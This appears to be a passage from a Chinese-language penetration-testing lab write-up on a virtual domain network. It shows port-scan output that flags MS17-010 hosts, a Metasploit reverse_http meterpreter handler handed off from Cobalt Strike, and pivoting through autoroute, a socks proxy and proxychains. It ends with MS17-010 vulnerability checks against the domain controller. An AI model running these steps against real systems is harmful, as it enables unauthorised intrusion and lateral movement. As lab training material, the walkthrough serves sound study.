192.168.52.138:80 open 192.168.52.141:21 open 192.168.52.141:135 open 192.168.52.143:135 open 192.168.52.1:135 open 192.168.52.138:135 open 192.168.52.143:80 open 192.168.52.141:7001 open 192.168.52.143:3306 open 192.168.52.141:445 open 192.168.52.143:445 open 192.168.52.1:445 open 192.168.52.138:445 open 192.168.52.141:139 open 192.168.52.143:139 open 192.168.52.1:139 open 192.168.52.138:139 open 192.168.52.138:88 open 192.168.52.141:7002 open 192.168.52.1:8088 open 192.168.52.1:8161 open 192.168.52.141:8099 open 192.168.52.141:8098 open 192.168.52.1:8099 open 192.168.52.1:8098 open 192.168.52.1:8834 open [+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1) [+] NetInfo: [*]192.168.52.143 [->]stu1 [->]192.168.52.143 [->]169.254.129.186 [->]192.168.232.129 [*] 192.168.52.143 GOD\STU1 Windows 7 Professional 7601 Service Pack 1 [*] 192.168.52.141 __MSBROWSE__\SNTL_ROOT-TVI86 [+] NetInfo: [*]192.168.52.141 [->]root-tvi862ubeh [->]192.168.52.141 [+] NetInfo: [*]192.168.52.138 [->]owa [->]192.168.52.138 [+] NetInfo: [*]192.168.52.1 [->]LAPTOP-QLSFIGJ9 [->]192.168.232.1 [->]192.168.108.1 [->]192.168.52.1 [->]192.168.1.227 [->]fdd7:e884:25e6:0:a568:4b3d:d112:3b74 [->]fdd7:e884:25e6:0:f4f2:819e:993f:1aab [*] 192.168.52.1 WORKGROUP\LAPTOP-QLSFIGJ9 [*] WebTitle:http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor [+] 192.168.52.141 MS17-010 (Windows Server 2003 3790) [*] WebTitle:https://192.168.52.1:8834 code:200 len:1629 title:Nessus [*] WebTitle:http://192.168.52.1:8161 code:302 len:0 title:None 跳转url: http://192.168.52.1:8161/index.html [*] 192.168.52.138 [+]DC GOD\OWA Windows Server 2008 R2 Datacenter 7601 Service Pack 1 [+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1) [*] WebTitle:http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel [*] WebTitle:https://192.168.52.141:8098 code:401 len:1656 title:You are not authorized to view this page [*] WebTitle:http://192.168.52.1:8161/index.html code:200 len:6180 title:Apache ActiveMQ [+] InfoScan:http://192.168.52.1:8161/index.html [activemq] [*] WebTitle:http://192.168.52.138 code:200 len:689 title:IIS7 [*] WebTitle:https://192.168.52.1:8088 code:200 len:14 title:None [*] WebTitle:http://192.168.52.143 code:200 len:14749 title:phpStudy 探针 2014 [+] ftp://192.168.52.141:21:anonymous [*] WebTitle:http://192.168.52.1:8099 code:403 len:48 title:None [+] http://192.168.52.1:8161 poc-yaml-activemq-default-password
use exploit/multi/handler set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样) set lhost 本机ip set lport 9999 exploit
cs新建会话,选择msf的监听器
添加路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
meterpreter > run post/multi/manage/autoroute
[*] Running module against STU1 [*] Searching for subnets to autoroute. [+] Route added to subnet 192.168.52.0/255.255.255.0 from host's routing table. [+] Route added to subnet 192.168.232.0/255.255.255.0 from host's routing table. meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
msf6 exploit(multi/handler) > use post/windows/gather/arp_scanner msf6 post(windows/gather/arp_scanner) > show options
Module options (post/windows/gather/arp_scanner):
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SESSION yes The session to run this module on THREADS 10 no The number of concurrent threads
View the full module info with the info, or info -d command.
msf6 post(windows/gather/arp_scanner) > sessions
Active sessions ===============
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ STU1 192.168.232.130:9999 -> 192.168.2 32.129:62110 (192.168.232.129)
msf6 post(windows/gather/arp_scanner) > set session 1 session => 1 msf6 post(windows/gather/arp_scanner) > set RHOSTS 192.168.52.1/24 RHOSTS => 192.168.52.1/24 msf6 post(windows/gather/arp_scanner) > run
[*] Running module against STU1 [*] ARP Scanning 192.168.52.1/24 [+] IP: 192.168.52.1 MAC 00:50:56:c0:00:02 (VMware, Inc.) [+] IP: 192.168.52.138 MAC 00:0c:29:2c:84:78 (VMware, Inc.) [+] IP: 192.168.52.143 MAC 00:0c:29:b4:9f:ef (VMware, Inc.) [+] IP: 192.168.52.141 MAC 00:0c:29:23:21:64 (VMware, Inc.) [+] IP: 192.168.52.255 MAC 00:0c:29:b4:9f:ef (VMware, Inc.) [+] IP: 192.168.52.254 MAC 00:50:56:e7:ae:61 (VMware, Inc.) [*] Post module execution completed
Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/ using-metasploit/basics/using-metasploit.html THREADS 10 yes The number of concurrent threads
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 192.168.52.1/24 RHOSTS => 192.168.52.1/24 msf6 auxiliary(scanner/discovery/udp_sweep) > run
[*] Sending 13 probes to 192.168.52.0->192.168.52.255 (256 hosts) [*] Discovered NetBIOS on 192.168.52.1:137 (LAPTOP-QLSFIGJ9:<20>:U :WORKGROUP:<00>:G :LAPTOP-QLSFIGJ9:<00>:U :00:50:56:c0:00:02) [*] Discovered NetBIOS on 192.168.52.138:137 (OWA:<00>:U :GOD:<00>:G :GOD:<1c>:G :OWA:<20>:U :GOD:<1b>:U :00:0c:29:2c:84:78) [*] Discovered DNS on 192.168.52.138:53 (Microsoft DNS) [*] Discovered NTP on 192.168.52.138:123 (1c0104fa00000000000a16cf4c4f434cea77a7f77836778bc54f234b71b152f3ea77c0c61d552fddea77c0c61d552fdd) [*] Discovered NetBIOS on 192.168.52.141:137 (ROOT-TVI862UBEH:<00>:U :GOD:<00>:G :SNTL_ROOT-TVI86:<32>:U :ROOT-TVI862UBEH:<20>:U :GOD:<1e>:G :GOD:<1d>:U :__MSBROWSE__:<01>:G :00:0c:29:23:21:64) [*] Discovered NetBIOS on 192.168.52.143:137 (STU1:<00>:U :GOD:<00>:G :STU1:<20>:U :00:0c:29:b4:9f:ef) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
使用msf开启代理
1 2
use auxiliary/server/socks_proxy run
修改/etc/proxychains4.conf
1 2 3 4 5 6 7 8 9 10
└─$ tail /etc/proxychains4.conf # proxy types: http, socks4, socks5, raw # * raw: The traffic is simply forwarded to the proxy without modification. # ( auth types supported: "basic"-http "user/pass"-socks ) # [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080
$ proxychains nmap -T4 -A -v -Pn 192.168.52.138 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 23:12 EDT NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 23:12 Completed NSE at 23:12, 0.00s elapsed Initiating NSE at 23:12 Completed NSE at 23:12, 0.00s elapsed Initiating NSE at 23:12 Completed NSE at 23:12, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 23:12 Completed Parallel DNS resolution of 1 host. at 23:12, 0.01s elapsed Initiating SYN Stealth Scan at 23:12 Scanning 192.168.52.138 [1000 ports] Discovered open port 135/tcp on 192.168.52.138 Discovered open port 53/tcp on 192.168.52.138 Discovered open port 80/tcp on 192.168.52.138 Discovered open port 445/tcp on 192.168.52.138 Discovered open port 139/tcp on 192.168.52.138 Discovered open port 49158/tcp on 192.168.52.138 Discovered open port 464/tcp on 192.168.52.138 Discovered open port 88/tcp on 192.168.52.138 Discovered open port 49161/tcp on 192.168.52.138 Discovered open port 49157/tcp on 192.168.52.138 Discovered open port 49167/tcp on 192.168.52.138 Discovered open port 3268/tcp on 192.168.52.138 Discovered open port 389/tcp on 192.168.52.138 Discovered open port 593/tcp on 192.168.52.138 Discovered open port 3269/tcp on 192.168.52.138 Completed SYN Stealth Scan at 23:12, 4.47s elapsed (1000 total ports) Initiating Service scan at 23:12 Scanning 15 services on 192.168.52.138 Completed Service scan at 23:12, 5.01s elapsed (15 services on 1 host) Initiating OS detection (try #1) against 192.168.52.138 Retrying OS detection (try #2) against 192.168.52.138 Initiating Traceroute at 23:12 Completed Traceroute at 23:12, 9.10s elapsed NSE: Script scanning 192.168.52.138. Initiating NSE at 23:12 Completed NSE at 23:13, 27.96s elapsed Initiating NSE at 23:13 Completed NSE at 23:13, 0.55s elapsed Initiating NSE at 23:13 Completed NSE at 23:13, 0.00s elapsed Nmap scan report for 192.168.52.138 Host is up (0.0011s latency). Not shown: 985 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open tcpwrapped 80/tcp open tcpwrapped |_http-server-header: Microsoft-IIS/7.5 88/tcp open tcpwrapped 135/tcp open tcpwrapped 139/tcp open tcpwrapped 389/tcp open tcpwrapped 445/tcp open tcpwrapped 464/tcp open tcpwrapped 593/tcp open tcpwrapped 3268/tcp open tcpwrapped 3269/tcp open tcpwrapped 49157/tcp open tcpwrapped 49158/tcp open tcpwrapped 49161/tcp open tcpwrapped 49167/tcp open tcpwrapped Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host
TRACEROUTE (using port 135/tcp) HOP RTT ADDRESS 1 ... 30
NSE: Script Post-scanning. Initiating NSE at 23:13 Completed NSE at 23:13, 0.00s elapsed Initiating NSE at 23:13 Completed NSE at 23:13, 0.00s elapsed Initiating NSE at 23:13 Completed NSE at 23:13, 0.00s elapsed Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 54.63 seconds Raw packets sent: 2223 (103.828KB) | Rcvd: 2402 (114.170KB)
445端口开了可以尝试ms17-010永恒之蓝,当然也可以扫描一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
msf6 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.52.138 RHOST => 192.168.52.138 msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit) [*] 192.168.52.138:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.52.141 RHOST => 192.168.52.141 msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit) [*] 192.168.52.141:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed